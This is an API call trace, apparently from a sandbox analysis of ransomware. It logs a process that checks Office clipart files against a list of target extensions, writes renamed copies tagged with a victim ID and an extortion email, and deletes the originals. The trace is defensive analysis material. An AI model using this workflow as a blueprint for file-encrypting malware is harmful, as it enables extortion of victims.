	[0186.245] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0186.245] lstrlenW (lpString=".ppt") returned 4
	[0186.245] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0186.245] lstrlenW (lpString=".zip") returned 4
	[0186.245] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.245] lstrlenW (lpString=".rar") returned 4
	[0186.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.245] lstrlenW (lpString=".bz2") returned 4
	[0186.245] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.245] lstrlenW (lpString=".7z") returned 3
	[0186.245] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0186.245] lstrlenW (lpString=".dbf") returned 4
	[0186.245] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0186.245] lstrlenW (lpString=".1cd") returned 4
	[0186.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0186.245] lstrlenW (lpString=".jpg") returned 4
	[0186.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0186.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0186.246] lstrlenW (lpString=".doc") returned 4
	[0186.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.246] lstrlenW (lpString=".docx") returned 5
	[0186.246] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0186.246] lstrlenW (lpString=".pdf") returned 4
	[0186.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.246] lstrlenW (lpString=".xls") returned 4
	[0186.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.246] lstrlenW (lpString=".xlsx") returned 5
	[0186.246] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0186.246] lstrlenW (lpString=".ppt") returned 4
	[0186.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0186.246] lstrlenW (lpString=".zip") returned 4
	[0186.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.246] lstrlenW (lpString=".rar") returned 4
	[0186.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.246] lstrlenW (lpString=".bz2") returned 4
	[0186.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.246] lstrlenW (lpString=".7z") returned 3
	[0186.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0186.246] lstrlenW (lpString=".dbf") returned 4
	[0186.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0186.247] lstrlenW (lpString=".1cd") returned 4
	[0186.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0186.247] lstrlenW (lpString=".jpg") returned 4
	[0186.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.247] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0186.247] lstrlenW (lpString="J0099175.WMF") returned 12
	[0186.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0186.255] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=9744) returned 1
	[0186.255] CloseHandle (hObject=0x5ac) returned 1
	[0186.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 0x220
	[0186.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0186.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0186.256] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.257] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0186.260] GetLastError () returned 0x0
	[0186.260] ReadFile (in: hFile=0x5ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x2610, lpOverlapped=0x0) returned 1
	[0186.334] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x2620, lpOverlapped=0x0) returned 1
	[0186.335] ReadFile (in: hFile=0x5ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.335] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.335] SetEndOfFile (hFile=0x36c) returned 1
	[0186.335] CloseHandle (hObject=0x36c) returned 1
	[0186.335] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.335] SetEndOfFile (hFile=0x5ac) returned 1
	[0186.339] CloseHandle (hObject=0x5ac) returned 1
	[0186.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0186.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 1
	[0186.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0186.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0186.345] lstrlenW (lpString=".doc") returned 4
	[0186.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.345] lstrlenW (lpString=".docx") returned 5
	[0186.345] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0186.345] lstrlenW (lpString=".pdf") returned 4
	[0186.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.345] lstrlenW (lpString=".xls") returned 4
	[0186.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.345] lstrlenW (lpString=".xlsx") returned 5
	[0186.345] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0186.345] lstrlenW (lpString=".ppt") returned 4
	[0186.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0186.345] lstrlenW (lpString=".zip") returned 4
	[0186.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.345] lstrlenW (lpString=".rar") returned 4
	[0186.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.345] lstrlenW (lpString=".bz2") returned 4
	[0186.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.345] lstrlenW (lpString=".7z") returned 3
	[0186.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0186.345] lstrlenW (lpString=".dbf") returned 4
	[0186.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0186.345] lstrlenW (lpString=".1cd") returned 4
	[0186.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0186.346] lstrlenW (lpString=".jpg") returned 4
	[0186.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0186.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0186.346] lstrlenW (lpString=".doc") returned 4
	[0186.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.346] lstrlenW (lpString=".docx") returned 5
	[0186.346] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0186.346] lstrlenW (lpString=".pdf") returned 4
	[0186.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.346] lstrlenW (lpString=".xls") returned 4
	[0186.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.346] lstrlenW (lpString=".xlsx") returned 5
	[0186.346] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0186.346] lstrlenW (lpString=".ppt") returned 4
	[0186.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0186.346] lstrlenW (lpString=".zip") returned 4
	[0186.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.346] lstrlenW (lpString=".rar") returned 4
	[0186.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.346] lstrlenW (lpString=".bz2") returned 4
	[0186.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.346] lstrlenW (lpString=".7z") returned 3
	[0186.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0186.346] lstrlenW (lpString=".dbf") returned 4
	[0186.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0186.347] lstrlenW (lpString=".1cd") returned 4
	[0186.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0186.347] lstrlenW (lpString=".jpg") returned 4
	[0186.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.347] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0186.347] lstrlenW (lpString="J0099178.WMF") returned 12
	[0186.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0186.348] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=3606) returned 1
	[0186.348] CloseHandle (hObject=0x5ac) returned 1
	[0186.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 0x220
	[0186.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0186.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0186.349] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.349] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0186.349] GetLastError () returned 0x0
	[0186.350] ReadFile (in: hFile=0x5ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0xe16, lpOverlapped=0x0) returned 1
	[0186.358] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xe20, lpOverlapped=0x0) returned 1
	[0186.359] ReadFile (in: hFile=0x5ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.359] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.359] SetEndOfFile (hFile=0x36c) returned 1
	[0186.359] CloseHandle (hObject=0x36c) returned 1
	[0186.359] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.359] SetEndOfFile (hFile=0x5ac) returned 1
	[0186.694] CloseHandle (hObject=0x5ac) returned 1
	[0186.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0186.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 1
	[0186.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0186.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0186.695] lstrlenW (lpString=".doc") returned 4
	[0186.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.695] lstrlenW (lpString=".docx") returned 5
	[0186.695] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0186.695] lstrlenW (lpString=".pdf") returned 4
	[0186.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.695] lstrlenW (lpString=".xls") returned 4
	[0186.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.696] lstrlenW (lpString=".xlsx") returned 5
	[0186.696] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0186.696] lstrlenW (lpString=".ppt") returned 4
	[0186.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0186.696] lstrlenW (lpString=".zip") returned 4
	[0186.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.696] lstrlenW (lpString=".rar") returned 4
	[0186.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.696] lstrlenW (lpString=".bz2") returned 4
	[0186.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.696] lstrlenW (lpString=".7z") returned 3
	[0186.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0186.696] lstrlenW (lpString=".dbf") returned 4
	[0186.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0186.696] lstrlenW (lpString=".1cd") returned 4
	[0186.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0186.697] lstrlenW (lpString=".jpg") returned 4
	[0186.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0186.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0186.697] lstrlenW (lpString=".doc") returned 4
	[0186.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.697] lstrlenW (lpString=".docx") returned 5
	[0186.697] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0186.697] lstrlenW (lpString=".pdf") returned 4
	[0186.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.697] lstrlenW (lpString=".xls") returned 4
	[0186.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.697] lstrlenW (lpString=".xlsx") returned 5
	[0186.697] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0186.697] lstrlenW (lpString=".ppt") returned 4
	[0186.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0186.697] lstrlenW (lpString=".zip") returned 4
	[0186.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.697] lstrlenW (lpString=".rar") returned 4
	[0186.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.697] lstrlenW (lpString=".bz2") returned 4
	[0186.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.698] lstrlenW (lpString=".7z") returned 3
	[0186.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0186.698] lstrlenW (lpString=".dbf") returned 4
	[0186.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0186.698] lstrlenW (lpString=".1cd") returned 4
	[0186.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0186.698] lstrlenW (lpString=".jpg") returned 4
	[0186.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.698] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0186.698] lstrlenW (lpString="J0099179.WMF") returned 12
	[0186.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0186.700] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=9154) returned 1
	[0186.700] CloseHandle (hObject=0x5ac) returned 1
	[0186.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 0x220
	[0186.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0186.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0186.701] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.701] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0186.702] GetLastError () returned 0x0
	[0186.702] ReadFile (in: hFile=0x5ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x23c2, lpOverlapped=0x0) returned 1
	[0186.710] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x23d0, lpOverlapped=0x0) returned 1
	[0186.711] ReadFile (in: hFile=0x5ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.711] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.711] SetEndOfFile (hFile=0x36c) returned 1
	[0186.712] CloseHandle (hObject=0x36c) returned 1
	[0186.712] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.712] SetEndOfFile (hFile=0x5ac) returned 1
	[0186.715] CloseHandle (hObject=0x5ac) returned 1
	[0186.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0186.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1
	[0186.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0186.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0186.717] lstrlenW (lpString=".doc") returned 4
	[0186.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.717] lstrlenW (lpString=".docx") returned 5
	[0186.717] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0186.717] lstrlenW (lpString=".pdf") returned 4
	[0186.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.717] lstrlenW (lpString=".xls") returned 4
	[0186.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.717] lstrlenW (lpString=".xlsx") returned 5
